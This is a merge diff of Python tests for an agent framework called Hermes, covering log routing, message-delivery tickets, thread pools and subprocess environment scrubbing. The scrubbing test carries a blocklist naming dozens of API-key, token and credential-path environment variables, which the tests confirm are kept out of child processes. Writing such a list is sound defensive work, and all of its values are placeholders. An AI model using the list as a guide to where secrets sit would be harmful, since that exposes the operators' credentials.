hermes_logging._queued_file_handlers+ if isinstance(handler, hermes_logging._ProfileRoutingFileHandler)+ ]+ assert len(routers) == 2 # agent.log and errors.log+ assert all(deleted_home.resolve() in handler._profile_handlers for handler in routers)+ assert all(other_home.resolve() in handler._profile_handlers for handler in routers)++ assert hermes_logging.release_profile_log_handlers(deleted_home) == 2++ assert all(deleted_home.resolve() not in handler._profile_handlers for handler in routers)+ assert all(deleted_home.resolve() not in handler._profile_homes for handler in routers)+ assert all(other_home.resolve() in handler._profile_handlers for handler in routers)+ assert "other profile log handles" in (other_home / "logs" / "agent.log").read_text()+ assert "other profile log handles" in (other_home / "logs" / "errors.log").read_text()++ def test_a_second_home_routes_instead_of_stacking_an_unfiltered_handler(self, hermes_home, tmp_path):+ """A dashboard or serve backend builds agents for several profiles in ONE process, and each+ one calls setup_logging for its own home. The second home must get a router — a bare file+ handler beside the first home's would receive every profile's records."""+ from logging.handlers import RotatingFileHandler++ from hermes_constants import reset_hermes_home_override, set_hermes_home_override++ profile_home = tmp_path / "profile-b"+ profile_home.mkdir()+ hermes_logging.setup_logging(hermes_home=hermes_home)+ hermes_logging.setup_logging(hermes_home=profile_home)++ assert not [h for h in hermes_logging._queued_file_handlers if isinstance(h, RotatingFileHandler)], (+ "the second home must not add an unfiltered file handler")++ logger = logging.getLogger("agent.conversation_loop.second-home-test")+ token = set_hermes_home_override(profile_home)+ try:+ logger.info("turn of profile b")+ finally:+ reset_hermes_home_override(token)+ logger.info("turn of the launch profile")+ hermes_logging.flush_log_queue()++ a_log = (hermes_home / "logs" / "agent.log").read_text()+ b_log = (profile_home / "logs" / "agent.log").read_text()+ assert "turn of profile b" in b_log and "turn of profile b" not in a_log+ assert "turn of the launch profile" in a_log and "turn of the launch profile" not in b_log++ def test_setup_for_an_already_routed_home_adds_no_duplicate_writer(self, hermes_home, tmp_path):+ """Routing already on (multiplexed gateway, Desktop cron ticker): a profile's agent starting+ up must not add a second writer for its home on top of the router."""+ from logging.handlers import RotatingFileHandler++ from hermes_constants import reset_hermes_home_override, set_hermes_home_override++ profile_home = tmp_path / "profile-b"+ profile_home.mkdir()+ hermes_logging.setup_logging(hermes_home=hermes_home)+ assert hermes_logging.enable_profile_log_routing([hermes_home, profile_home]) is True+ hermes_logging.setup_logging(hermes_home=profile_home)++ assert not [h for h in hermes_logging._queued_file_handlers if isinstance(h, RotatingFileHandler)]+ token = set_hermes_home_override(profile_home)+ try:+ logging.getLogger("agent.conversation_loop.routed-home-test").info("once please")+ finally:+ reset_hermes_home_override(token)+ hermes_logging.flush_log_queue()++ assert (profile_home / "logs" / "agent.log").read_text().count("once please") == 1+ assert "once please" not in (hermes_home / "logs" / "agent.log").read_text()++ def test_a_component_log_added_after_routing_is_routed_too(self, hermes_home, tmp_path):+ """setup_logging(mode="gateway") for an already-known home AFTER a second home turned+ routing on: gateway.log must be a routed writer, not a bare handler taking every home."""+ from hermes_constants import reset_hermes_home_override, set_hermes_home_override++ profile_home = tmp_path / "profile-b"+ profile_home.mkdir()+ hermes_logging.setup_logging(hermes_home=hermes_home)+ hermes_logging.setup_logging(hermes_home=profile_home)+ hermes_logging.setup_logging(hermes_home=hermes_home, mode="gateway")++ logger = logging.getLogger("gateway.run.routed-component-test")+ token = set_hermes_home_override(profile_home)+ try:+ logger.info("gw-b")+ finally:+ reset_hermes_home_override(token)+ logger.info("gw-a")+ hermes_logging.flush_log_queue()++ a_log = (hermes_home / "logs" / "gateway.log").read_text()+ assert "gw-a" in a_log and "gw-b" not in a_log+ assert "gw-b" in (profile_home / "logs" / "gateway.log").read_text()+++++ def test_explicit_params_override_config(self, hermes_home):+ """Explicit function params take precedence over config.yaml."""- import yaml++ import hermes_yaml as yaml+ config = {"logging": {"level": "DEBUG"}}- (hermes_home / "config.yaml").write_text(yaml.dump(config))++ (hermes_home / "config.yaml").write_text(yaml.safe_dump(config))++ hermes_logging.setup_logging(hermes_home=hermes_home, log_level="WARNING")++ root = logging.getLogger()+ agent_handlers = [+ h for h in hermes_logging._queued_file_handlers+ if isinstance(h, RotatingFileHandler)+ and "agent.log" in getattr(h, "baseFilename", "")+ ]+ assert agent_handlers[0].level == logging.WARNING++-class TestGatewayMode:- """setup_logging(mode='gateway') creates a filtered gateway.log."""-- def test_gateway_log_created(self, hermes_home):- hermes_logging.setup_logging(hermes_home=hermes_home, mode="gateway")- root = logging.getLogger()-- gw_handlers = [- h for h in hermes_logging._queued_file_handlers- if isinstance(h, RotatingFileHandler)- and "gateway.log" in getattr(h, "baseFilename", "")- ]- assert len(gw_handlers) == 1-- def test_gateway_log_not_created_in_cli_mode(self, hermes_home):- hermes_logging.setup_logging(hermes_home=hermes_home, mode="cli")- root = logging.getLogger()-- gw_handlers = [- h for h in hermes_logging._queued_file_handlers- if isinstance(h, RotatingFileHandler)- and "gateway.log" in getattr(h, "baseFilename", "")- ]- assert len(gw_handlers) == 0---- def test_gateway_log_receives_gateway_records(self, hermes_home):- """gateway.log captures records from gateway.* loggers."""- hermes_logging.setup_logging(hermes_home=hermes_home, mode="gateway")-- gw_logger = logging.getLogger("plugins.platforms.telegram.adapter")- gw_logger.info("telegram connected")-- hermes_logging.flush_log_queue()-- gw_log = hermes_home / "logs" / "gateway.log"- assert gw_log.exists()- assert "telegram connected" in gw_log.read_text()-- def test_gateway_log_rejects_non_gateway_records(self, hermes_home):- """gateway.log does NOT capture records from tools.*, agent.*, etc."""- hermes_logging.setup_logging(hermes_home=hermes_home, mode="gateway")-- tool_logger = logging.getLogger("tools.terminal_tool")- tool_logger.info("running command")-- agent_logger = logging.getLogger("agent.context_compressor")- agent_logger.info("compressing context")-- hermes_logging.flush_log_queue()-- gw_log = hermes_home / "logs" / "gateway.log"- if gw_log.exists():- content = gw_log.read_text()- assert "running command" not in content- assert "compressing context" not in content----class TestGuiMode:- """setup_logging(mode='gui') creates a filtered gui.log."""-- def test_gui_log_created(self, hermes_home):- hermes_logging.setup_logging(hermes_home=hermes_home, mode="gui")- root = logging.getLogger()-- gui_handlers = [- h for h in hermes_logging._queued_file_handlers- if isinstance(h, RotatingFileHandler)- and "gui.log" in getattr(h, "baseFilename", "")- ]- assert len(gui_handlers) == 1--- def test_gui_log_receives_only_gui_components(self, hermes_home):- hermes_logging.setup_logging(hermes_home=hermes_home, mode="gui")-- logging.getLogger("hermes_cli.web_server").info("dashboard online")- logging.getLogger("tui_gateway.ws").info("ws connected")- logging.getLogger("gateway.run").info("gateway event")-- hermes_logging.flush_log_queue()-- gui_log = hermes_home / "logs" / "gui.log"- assert gui_log.exists()- content = gui_log.read_text()- assert "dashboard online" in content- assert "ws connected" in content- assert "gateway event" not in content---class TestSessionContext:- """set_session_context / clear_session_context + _SessionFilter."""-- def test_session_tag_in_log_output(self, hermes_home):- """When session context is set, log lines include [session_id]."""- hermes_logging.setup_logging(hermes_home=hermes_home)- hermes_logging.set_session_context("abc123")-- test_logger = logging.getLogger("test.session_tag")- test_logger.info("tagged message")-- hermes_logging.flush_log_queue()-- agent_log = hermes_home / "logs" / "agent.log"- content = agent_log.read_text()- assert "[abc123]" in content- assert "tagged message" in content--------class TestComponentFilter:- """Unit tests for _ComponentFilter."""-- def test_passes_matching_prefix(self):- f = hermes_logging._ComponentFilter(("gateway",))- record = logging.LogRecord(- "gateway.run", logging.INFO, "", 0, "msg", (), None- )- assert f.filter(record) is True--- def test_blocks_non_matching(self):- f = hermes_logging._ComponentFilter(("gateway",))- record = logging.LogRecord(- "tools.terminal_tool", logging.INFO, "", 0, "msg", (), None- )- assert f.filter(record) is False---class TestSetupVerboseLogging:@@@ -539,10 -720,77 +679,77 @@@ class TestExternalRotationRecovery# backup. Allen's logs had everything past the rotation point# going into agent.log only, never gateway.log.assert gw_path.exists(), "gateway.log was never recreated"- assert "AFTER rotation" in gw_path.read_text()- assert "AFTER rotation" not in rotated.read_text()+ assert "AFTER rotation" in gw_path.read_text(encoding="utf-8-sig")+ assert "AFTER rotation" not in rotated.read_text(encoding="utf-8-sig")+ def test_eio_from_file_handler_names_the_path_once_then_recovers(tmp_path, capsys):+ """A failing log destination is named once (no per-record traceback) and writes resume+ once the file is reachable again."""+ import io++ class _SickStream(io.TextIOBase):+ def writable(self):+ return True++ def write(self, *_a):+ raise OSError(5, "Input/output error")++ seek = tell = flush = write++ path = tmp_path / "agent.log"+ handler = hermes_logging._ManagedRotatingFileHandler(+ str(path), maxBytes=1024, backupCount=1, encoding="utf-8",+ )+ handler.setFormatter(logging.Formatter("%(message)s"))+ try:+ handler.stream.close()+ handler.stream = _SickStream()+ for i in range(5):+ handler.handle(logging.LogRecord("t", logging.INFO, __file__, 0, f"sick {i}", (), None))+ err = capsys.readouterr().err+ assert "--- Logging error ---" not in err+ assert err.count(str(path)) == 1 and "Input/output error" in err++ # Stream dropped, so the next emit reopens the real file and logging resumes.+ handler.handle(logging.LogRecord("t", logging.INFO, __file__, 0, "recovered", (), None))+ assert "recovered" in path.read_text(encoding="utf-8")+ finally:+ handler.close()+++ def test_eio_after_successful_reopen_still_names_the_path_once(tmp_path, capsys):+ """The reported case: open() succeeds but every write/seek/flush raises EIO. Reopening must+ not re-arm the notice, or a stuck device prints the path once per record."""+ import io++ class _SickStream(io.TextIOBase):+ def writable(self):+ return True++ def write(self, *_a):+ raise OSError(5, "Input/output error")++ seek = tell = flush = write++ path = tmp_path / "agent.log"+ handler = hermes_logging._ManagedRotatingFileHandler(+ str(path), maxBytes=1024, backupCount=1, encoding="utf-8",+ )+ handler.setFormatter(logging.Formatter("%(message)s"))+ try:+ handler._builtin_open = lambda *_a, **_kw: _SickStream()+ handler.stream.close()+ handler.stream = _SickStream()+ for i in range(25):+ handler.handle(logging.LogRecord("t", logging.INFO, __file__, 0, f"sick {i}", (), None))+ err = capsys.readouterr().err+ assert "--- Logging error ---" not in err+ assert err.count(str(path)) == 1+ finally:+ handler.close()++class TestSafeStderr:"""Tests for _safe_stderr() — Unicode tolerance on Windows console."""diff --cc tests/tools/test_bot_live_owner_delivery.pyindex 8ea2cdf836e,ee56c31dcd7..e216d4c832d--- a/tests/tools/test_bot_live_owner_delivery.py+++ b/tests/tools/test_bot_live_owner_delivery.py@@@ -162,9 -100,61 +162,61 @@@ def test_delivery_keeps_the_sender_and_owner = dict(profile_home=str(tmp_path.resolve()), session_id="chat", lease_id="lease", live_session_id="live")author = {"id": "bot:coder", "name": "coder", "is_bot": True}- queued = mailbox.deliver_to_live_owner(tmp_path, owner, "hello", delivery_id="b" * 32, author=author)+ queued = mailbox.deliver_to_live_owner(tmp_path, owner, "héllo 世界", delivery_id="b" * 32, author=author)assert queued["author"] == author- assert mailbox.deliver_to_live_owner(tmp_path, owner, "hello", delivery_id="b" * 32, author=author) == queued+ assert mailbox.deliver_to_live_owner(tmp_path, owner, "héllo 世界", delivery_id="b" * 32, author=author) == queuedwith pytest.raises(ValueError):- mailbox.deliver_to_live_owner(tmp_path, owner, "hello", delivery_id="b" * 32, author={**author, "id": "bot:other"})+ mailbox.deliver_to_live_owner(tmp_path, owner, "héllo 世界", delivery_id="b" * 32, author={**author, "id": "bot:other"})assert "author" not in mailbox.deliver_to_live_owner(tmp_path, owner, "no sender", delivery_id="c" * 32)+++ @pytest.mark.skipif(os.name == "nt" or getattr(os, "geteuid", lambda: 1)() == 0,+ reason="needs POSIX file permissions for an unreadable ticket")+ def test_unreadable_ticket_does_not_wedge_bulk_scans(tmp_path, caplog):+ import logging++ from tools import bot_live_delivery as mailbox++ owner = dict(profile_home=str(tmp_path.resolve()), session_id="chat",+ lease_id="lease", live_session_id="live")+ queued = mailbox.deliver_to_live_owner(tmp_path, owner, "readable", delivery_id="d" * 32)+ root = tmp_path / "runtime" / mailbox.DELIVERY_DIR_NAME+ # A real admission that later turns unreadable: its sequence must survive the skip.+ hidden = mailbox.deliver_to_live_owner(tmp_path, owner, "hidden", delivery_id="e" * 32)+ (root / f"{'e' * 32}.json").chmod(0)+ corrupt = root / f"{'1' * 32}.json"+ corrupt.write_text("{not json", encoding="utf-8")+ (root / f"{'2' * 32}.json").write_bytes(b"\xff\xfe\x00garbage") # invalid UTF-8, not just bad JSON+ with caplog.at_level(logging.WARNING, logger="tools.bot_live_delivery"):+ # Sender side: admission of a fresh id must survive the sequence sweep.+ admitted = mailbox.deliver_to_live_owner(tmp_path, owner, "second", delivery_id="f" * 32)+ # Receiver side: every readable queued ticket must still be claimed, in order.+ assert mailbox.claim_pending_delivery(tmp_path, owner)["delivery_id"] == queued["delivery_id"]+ assert mailbox.claim_pending_delivery(tmp_path, owner)["delivery_id"] == admitted["delivery_id"]+ for _ in range(10): # the idle poller rescans twice a second+ assert mailbox.claim_pending_delivery(tmp_path, owner) is None+ assert admitted["status"] == "queued"+ assert admitted["sequence"] > hidden["sequence"] > queued["sequence"]+ denied = [record for record in caplog.records+ if record.message.startswith(f"bot_live_delivery: skipping unreadable ticket {'e' * 32}.json")+ and "Permission denied" in record.message]+ assert len(denied) == 1, "one persistent bad ticket must warn once per process, not per scan"+++ @pytest.mark.skipif(os.name == "nt" or getattr(os, "geteuid", lambda: 1)() == 0,+ reason="needs POSIX file permissions for an unreadable ticket")+ def test_unreadable_ticket_keeps_exact_id_reads_fail_closed(tmp_path):+ from tools import bot_live_delivery as mailbox++ owner = dict(profile_home=str(tmp_path.resolve()), session_id="chat",+ lease_id="lease", live_session_id="live")+ unreadable = tmp_path / "runtime" / mailbox.DELIVERY_DIR_NAME / f"{'e' * 32}.json"+ unreadable.parent.mkdir(parents=True, exist_ok=True)+ unreadable.write_text('{"status": "queued"}', encoding="utf-8")+ unreadable.chmod(0)+ # Uninspectable is not absent: an exact-id retry must fail closed instead of+ # minting a fresh receipt that overwrites the possibly-live one (#109820).+ with pytest.raises(PermissionError):+ mailbox.deliver_to_live_owner(tmp_path, owner, "same id", delivery_id="e" * 32)+ with pytest.raises(PermissionError):+ mailbox.read_delivery_result(tmp_path, "e" * 32)diff --cc tests/tools/test_checkpoint_footprint_notice.pyindex 00000000000,2c25a68d989..bb973e9aa0cmode 000000,100644..100644--- a/tests/tools/test_checkpoint_footprint_notice.py+++ b/tests/tools/test_checkpoint_footprint_notice.py@@@ -1,0 -1,46 +1,46 @@@+ """``checkpoint_footprint_notice``: tells a user their /rollback store is on and large.++ Checkpoints were on by default Mar–May 2026 and that ``enabled: true`` persisted into user+ configs after the default flipped back, so a GB-scale store can sit under a feature the user+ never invokes. The notice fires only when checkpoints are enabled AND the store is at/over+ ``max_total_size_mb``; it names the opt-out.+ """++ import os+-import yaml++import hermes_yaml as yaml++ from hermes_constants import get_hermes_home+ from tools.checkpoint_manager import CheckpointManager, checkpoint_footprint_notice+++ def _write_config(enabled: bool, cap_mb: int) -> None:+ home = get_hermes_home()+ home.mkdir(parents=True, exist_ok=True)+ (home / "config.yaml").write_text(+ yaml.safe_dump({"checkpoints": {"enabled": enabled, "max_total_size_mb": cap_mb}}), encoding="utf-8")+++ def test_notice_only_when_enabled_and_over_cap(tmp_path, monkeypatch):+ base = get_hermes_home() / "checkpoints"+ monkeypatch.setattr("tools.checkpoint_manager.CHECKPOINT_BASE", base)+ work = tmp_path / "proj"+ work.mkdir()+ (work / "blob.bin").write_bytes(os.urandom(2 * 1024 * 1024)) # incompressible → store > 1 MB+ _write_config(enabled=True, cap_mb=1)+ assert CheckpointManager(enabled=True, max_total_size_mb=1).ensure_checkpoint(str(work), "seed")++ notice = checkpoint_footprint_notice()+ assert notice and "checkpoints.enabled false" in notice and "1 project" in notice++ _write_config(enabled=True, cap_mb=500) # under the cap: no nag for a healthy store+ assert checkpoint_footprint_notice() is None++ _write_config(enabled=False, cap_mb=1) # off: the store's size is irrelevant+ assert checkpoint_footprint_notice() is None+++ def test_doctor_registers_the_checkpoint_store_check():+ from hermes_cli.doctor import DOCTOR_CHECKS+ from hermes_cli.doctor_state import _check_checkpoint_store+ assert any(check is _check_checkpoint_store for _title, check in DOCTOR_CHECKS)diff --cc tests/tools/test_code_execution_windows_env.pyindex f1300fa5913,332814b7a55..891076a398e--- a/tests/tools/test_code_execution_windows_env.py+++ b/tests/tools/test_code_execution_windows_env.py@@@ -11,10 -28,15 +12,11 @@@ import timimport pytest-from tools.code_execution_env import (- _SECRET_SUBSTRINGS,- _WINDOWS_ESSENTIAL_ENV_VARS,- _scrub_child_env,-)+from tools.code_execution_env import _scrub_child_env+ from tools import code_execution_env-def _no_passthrough(_name):+def _no_passthrough(_):return Falsediff --cc tests/tools/test_daemon_pool.pyindex b8e1e129c85,66064bcaad8..aa252d08949--- a/tests/tools/test_daemon_pool.py+++ b/tests/tools/test_daemon_pool.py@@@ -89,26 -82,77 +90,85 @@@ def test_submit_propagates_caller_contevar = ContextVar("daemon_pool_test_var", default="unset")- pool = DaemonThreadPoolExecutor(max_workers=1)- try:- token = var.set("hello")- try:- seen = pool.submit(var.get).result(timeout=10)- finally:- var.reset(token)- assert seen == "hello"- finally:- pool.shutdown(wait=True)+ def read_and_mutate():+ seen = var.get()+ var.set("worker mutation")+ return seen, threading.current_thread()++ with DaemonThreadPoolExecutor(max_workers=1) as pool:+ futures = []+ for profile in ("first", "second"):+ token = var.set(profile)+ try:+ futures.append(pool.submit(read_and_mutate))+ finally:+ var.reset(token)+ results = [future.result(timeout=10) for future in futures]+ assert [seen for seen, _ in results] == ["first", "second"]+ assert results[0][1] is results[1][1]+ assert pool.submit(var.get).result(timeout=10) == "unset"+ assert var.get() == "unset"+ def _capture_worker_args(monkeypatch, pool):+ """Swap the stdlib worker for one that records its args and resolves one item.++ The stdlib ``_worker`` signature differs between interpreters, so the fake+ accepts anything and completes the work item's future directly — the test+ then runs on 3.11 and 3.14 alike and asserts only on the arg shape chosen.+ """+ seen = []++ def fake_worker(*args):+ seen.append(args)+ pool._work_queue.get().future.set_result("done")++ monkeypatch.setattr(daemon_pool, "_worker", fake_worker)+ return seen+++ def test_worker_gets_context_when_executor_builds_worker_contexts(monkeypatch):+ """3.14+ shape (#58596, #111813): the executor exposes ``_create_worker_context``+ and no ``_initializer``/``_initargs``; the worker must receive+ ``(executor_ref, ctx, work_queue)`` — reading the legacy fields raised+ ``AttributeError`` on every pool spawn."""+ pool = DaemonThreadPoolExecutor(max_workers=1)+ monkeypatch.setattr(pool, "_create_worker_context", lambda: "worker-context", raising=False)+ monkeypatch.delattr(pool, "_initializer", raising=False)+ monkeypatch.delattr(pool, "_initargs", raising=False)+ seen = _capture_worker_args(monkeypatch, pool)+ try:+ assert pool.submit(lambda: None).result(timeout=10) == "done"+ finally:+ pool.shutdown(wait=True)+ ((executor_ref, ctx, work_queue),) = seen+ assert executor_ref() is pool+ assert ctx == "worker-context"+ assert work_queue is pool._work_queue+++ def test_worker_gets_initializer_when_executor_stores_initializer_fields(monkeypatch):+ """3.11–3.13 shape: no ``_create_worker_context``; the worker must receive+ ``(executor_ref, work_queue, initializer, initargs)``."""++ def init(*_):+ return None++ pool = DaemonThreadPoolExecutor(max_workers=1)+ monkeypatch.delattr(pool, "_create_worker_context", raising=False)+ monkeypatch.setattr(pool, "_initializer", init, raising=False)+ monkeypatch.setattr(pool, "_initargs", (1, 2), raising=False)+ seen = _capture_worker_args(monkeypatch, pool)+ try:+ assert pool.submit(lambda: None).result(timeout=10) == "done"+ finally:+ pool.shutdown(wait=True)+ ((executor_ref, work_queue, initializer, initargs),) = seen+ assert executor_ref() is pool+ assert work_queue is pool._work_queue+ assert (initializer, initargs) == (init, (1, 2))++def _repo_root():import pathlibdiff --cc tests/tools/test_delegate_timeout_cleanup.pyindex 62b335acb7b,f8d55189334..3be4f44476c--- a/tests/tools/test_delegate_timeout_cleanup.py+++ b/tests/tools/test_delegate_timeout_cleanup.py@@@ -31,7 -31,9 +31,9 @@@ class _SlowUnwindingChilddef run_conversation(self, **_kwargs):self.started.set()+ # Generous bounds: these gate on events the test sets promptly; a tight bound only+ # turns a load-starved test thread into a spurious early exit that fires close().- assert self.interrupted.wait(timeout=10)+ assert self.interrupted.wait(timeout=30)# Model the real child turn's finally path: it still performs session# activity/SQLite cleanup after the parent requests interruption.self.unwinding.set()diff --cc tests/tools/test_local_env_blocklist.pyindex f7e83b9a7d3,3f6b062c515..9dbf02f0706--- a/tests/tools/test_local_env_blocklist.py+++ b/tests/tools/test_local_env_blocklist.py@@@ -9,338 -16,585 +9,339 @@@ from unittest.mock import patcimport pytest-from tools.environments.local import LocalEnvironment-from tools.environments.local_env_policy import (- _HERMES_PROVIDER_ENV_BLOCKLIST,- _HERMES_PROVIDER_ENV_FORCE_PREFIX,-)---def _running_venv_site_packages() -> Path:- """Independently construct the host-native venv site-packages path."""- if sys.platform == "win32":- return Path(sys.prefix) / "Lib" / "site-packages"- pyver = f"python{sys.version_info[0]}.{sys.version_info[1]}"- return Path(sys.prefix) / "lib" / pyver / "site-packages"---def _make_fake_popen(captured: dict):- """Return a fake Popen constructor that records the env kwarg."""- def fake_popen(cmd, **kwargs):- captured["env"] = kwargs.get("env", {})- proc = MagicMock()- proc.poll.return_value = 0- proc.returncode = 0- proc.stdout = MagicMock(__iter__=lambda s: iter([]), __next__=lambda s: (_ for _ in ()).throw(StopIteration))- proc.stdin = MagicMock()- return proc- return fake_popen---def _run_with_env(extra_os_env=None, self_env=None):- """Execute a command via LocalEnvironment with mocked Popen- and return the env dict passed to the subprocess."""- captured = {}- test_environ = {- "PATH": "/usr/bin:/bin",- "HOME": "/home/user",- "USER": "testuser",+from tests.tools._child_env_fixtures import child_env, observe_child, observe_terminal # noqa: F401+from tools.environments import local+from tools.environments import local_pythonpath as pp+++# Expectations come from independent provider/config declarations and literal+# policy examples, never the finished blocklist or a test-owned scrubber.+STATIC_BLOCKED = """+OPENAI_BASE_URL OPENAI_API_KEY OPENAI_API_BASE OPENAI_ORG_ID OPENAI_ORGANIZATION+OPENROUTER_API_KEY ANTHROPIC_BASE_URL ANTHROPIC_API_KEY ANTHROPIC_TOKEN LLM_MODEL+VERTEX_CREDENTIALS_PATH GOOGLE_APPLICATION_CREDENTIALS AWS_BEARER_TOKEN_BEDROCK+GOOGLE_API_KEY DEEPSEEK_API_KEY MISTRAL_API_KEY GROQ_API_KEY TOGETHER_API_KEY+PERPLEXITY_API_KEY COHERE_API_KEY FIREWORKS_API_KEY XAI_API_KEY HELICONE_API_KEY+TELEGRAM_HOME_CHANNEL TELEGRAM_HOME_CHANNEL_NAME DISCORD_HOME_CHANNEL+DISCORD_HOME_CHANNEL_NAME DISCORD_REQUIRE_MENTION DISCORD_FREE_RESPONSE_CHANNELS+DISCORD_AUTO_THREAD SLACK_HOME_CHANNEL SLACK_HOME_CHANNEL_NAME SLACK_ALLOWED_USERS+WHATSAPP_ENABLED WHATSAPP_MODE WHATSAPP_ALLOWED_USERS SIGNAL_HTTP_URL SIGNAL_ACCOUNT+SIGNAL_ALLOWED_USERS SIGNAL_GROUP_ALLOWED_USERS SIGNAL_HOME_CHANNEL SIGNAL_HOME_CHANNEL_NAME+SIGNAL_IGNORE_STORIES HASS_TOKEN HASS_URL EMAIL_ADDRESS EMAIL_PASSWORD EMAIL_IMAP_HOST+EMAIL_SMTP_HOST EMAIL_HOME_ADDRESS EMAIL_HOME_ADDRESS_NAME HERMES_DASHBOARD_SESSION_TOKEN+GATEWAY_ALLOWED_USERS GATEWAY_ALLOW_ALL_USERS GH_TOKEN GITHUB_APP_ID+GITHUB_APP_PRIVATE_KEY_PATH GITHUB_APP_INSTALLATION_ID MODAL_TOKEN_ID MODAL_TOKEN_SECRET+DAYTONA_API_KEY VERCEL_OIDC_TOKEN VERCEL_TOKEN VERCEL_PROJECT_ID VERCEL_TEAM_ID GATEWAY_RELAY_ID+AUXILIARY_VISION_API_KEY AUXILIARY_WEB_EXTRACT_API_KEY AUXILIARY_APPROVAL_API_KEY+AUXILIARY_MY_PLUGIN_TASK_API_KEY AUXILIARY_VISION_BASE_URL AUXILIARY_COMPRESSION_BASE_URL+GATEWAY_RELAY_SECRET GATEWAY_RELAY_DELIVERY_KEY GATEWAY_RELAY_SESSION_TOKEN+""".split()+OPERATOR_ALLOWED = """+AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_PROFILE AWS_DEFAULT_REGION+AWS_REGION AWS_SHARED_CREDENTIALS_FILE AWS_CONFIG_FILE AWS_WEB_IDENTITY_TOKEN_FILE AWS_ROLE_ARN+CLAUDE_CODE_OAUTH_TOKEN AUXILIARY_VISION_PROVIDER AUXILIARY_VISION_MODEL GATEWAY_RELAY_URL+GATEWAY_RELAY_PLATFORMS MY_APP_KEY MY_CUSTOM_VAR+""".split()+++def _running_site():+ return Path(sys.prefix) / ("Lib/site-packages" if os.name == "nt" else+ f"lib/python{sys.version_info.major}.{sys.version_info.minor}/site-packages")+++def test_terminal_child_observes_declared_policy(child_env, monkeypatch):+ from hermes_cli.auth import PROVIDER_REGISTRY+ from hermes_cli.config import OPTIONAL_ENV_VARS+ blocked = set(STATIC_BLOCKED)+ for config in PROVIDER_REGISTRY.values():+ blocked.update(config.api_key_env_vars)+ if config.base_url_env_var:+ blocked.add(config.base_url_env_var)+ blocked.update(name for name, meta in OPTIONAL_ENV_VARS.items()+ if meta.get("category") in {"tool", "messaging"}+ or (meta.get("category") == "setting" and meta.get("password")))+ blocked.discard("CLAUDE_CODE_OAUTH_TOKEN") # operator's subscription, not Hermes inference+ for name in blocked | set(OPERATOR_ALLOWED):+ monkeypatch.setenv(name, "fake-" + name)+ before = dict(os.environ)+ env = local.LocalEnvironment(cwd=str(child_env), timeout=30,+ env={"OPENAI_BASE_URL": "fake-override", "MY_CUSTOM_VAR": "caller-value"})+ try:+ observed = observe_terminal(env, sorted(blocked | set(OPERATOR_ALLOWED)))+ finally:+ env.cleanup()+ assert observed == {**dict.fromkeys(blocked), **{k: "fake-" + k for k in OPERATOR_ALLOWED},+ "MY_CUSTOM_VAR": "caller-value"}+ assert dict(os.environ) == before++[email protected]("builder", ["foreground", "background", "factory", "nonterminal"])+def test_builders_strip_runtime_markers_and_owned_paths(child_env, monkeypatch, builder):+ repo, site = Path(__file__).resolve().parents[2], _running_site()+ user_path = str(child_env / "user-lib")+ for k, v in {"VIRTUAL_ENV": "/unrelated/venv", "CONDA_PREFIX": "/unrelated/conda",+ "PYTHONHOME": "/nonexistent/python-home",+ "PYTHONPATH": os.pathsep.join([str(repo), str(site), user_path])}.items():+ monkeypatch.setenv(k, v)+ factories = {+ "foreground": lambda: local._make_run_env({}),+ "background": lambda: local._sanitize_subprocess_env(dict(os.environ), {"VIRTUAL_ENV": "/extra/venv"}),+ "factory": local.build_subprocess_env,+ "nonterminal": local.hermes_subprocess_env,}- if extra_os_env:- test_environ.update(extra_os_env)-- env = LocalEnvironment(cwd="/tmp", timeout=10, env=self_env)-- with patch("tools.environments.local._find_bash", return_value="/bin/bash"), \- patch("subprocess.Popen", side_effect=_make_fake_popen(captured)), \- patch.dict(os.environ, test_environ, clear=True):- env.execute("echo hello")-- return captured.get("env", {})---class TestProviderEnvBlocklist:- """Provider env vars loaded from ~/.hermes/.env must not leak."""-- def test_blocked_vars_are_stripped(self):- """OPENAI_BASE_URL and other provider vars must not appear in subprocess env."""- leaked_vars = {- "OPENAI_BASE_URL": "http://localhost:8000/v1",- "OPENAI_API_KEY": "sk-fake-key",- "OPENROUTER_API_KEY": "or-fake-key",- "ANTHROPIC_API_KEY": "ant-fake-key",- "LLM_MODEL": "anthropic/claude-opus-4-6",- }- result_env = _run_with_env(extra_os_env=leaked_vars)-- for var in leaked_vars:- assert var not in result_env, f"{var} leaked into subprocess env"-- def test_registry_derived_vars_are_stripped(self):- """Vars from the provider registry (ANTHROPIC_TOKEN, ZAI_API_KEY, etc.)- must also be blocked — not just the hand-written extras."""- registry_vars = {- "ANTHROPIC_TOKEN": "ant-tok",- "ZAI_API_KEY": "zai-key",- "Z_AI_API_KEY": "z-ai-key",- "GLM_API_KEY": "glm-key",- "KIMI_API_KEY": "kimi-key",- "MINIMAX_API_KEY": "mm-key",- "MINIMAX_CN_API_KEY": "mmcn-key",- "DEEPSEEK_API_KEY": "deepseek-key",- "NVIDIA_API_KEY": "nvidia-key",- }- result_env = _run_with_env(extra_os_env=registry_vars)-- for var in registry_vars:- assert var not in result_env, f"{var} leaked into subprocess env"-- def test_bedrock_bearer_token_is_stripped(self):- """The Bedrock-specific bearer token is a Hermes inference secret- (analogous to OPENAI_API_KEY) and must not leak into subprocesses.-- Regression for #32314: AWS_BEARER_TOKEN_BEDROCK leaked into terminal /- execute_code children because the ``bedrock`` ProviderConfig declares- ``api_key_env_vars=()`` (auth_type="aws_sdk") and the blocklist builder- only consulted that field. The reporter caught it when ``opencode- models`` run inside a Hermes terminal enumerated the entire Bedrock- catalog off the leaked bearer token.- """- result_env = _run_with_env(extra_os_env={- "AWS_BEARER_TOKEN_BEDROCK": "bedrock-bearer-secret",- })-- assert "AWS_BEARER_TOKEN_BEDROCK" not in result_env, (- "AWS_BEARER_TOKEN_BEDROCK leaked into subprocess env (see #32314)"- )-- def test_vertex_credentials_path_is_stripped(self):- """The Vertex AI service-account JSON path must not leak into- subprocesses, even though it is filesystem path metadata rather- than a bare API key.-- Regression: ``vertex`` authenticates via OAuth2 (service-account- JSON / ADC), not PROVIDER_REGISTRY, and OPTIONAL_ENV_VARS marks- VERTEX_CREDENTIALS_PATH as ``password=False`` (it's a path, not a- secret string) with ``category="provider"`` — a category the- registry-derived loop above never checks — so it fell through both- blocklist sources. GOOGLE_APPLICATION_CREDENTIALS (the ADC fallback- the adapter also reads) had the same gap. A leaked path discloses- the on-disk location of a GCP service-account key to every spawned- subprocess (terminal, codex/copilot app-server, browser workers).- """- result_env = _run_with_env(extra_os_env={- "VERTEX_CREDENTIALS_PATH": 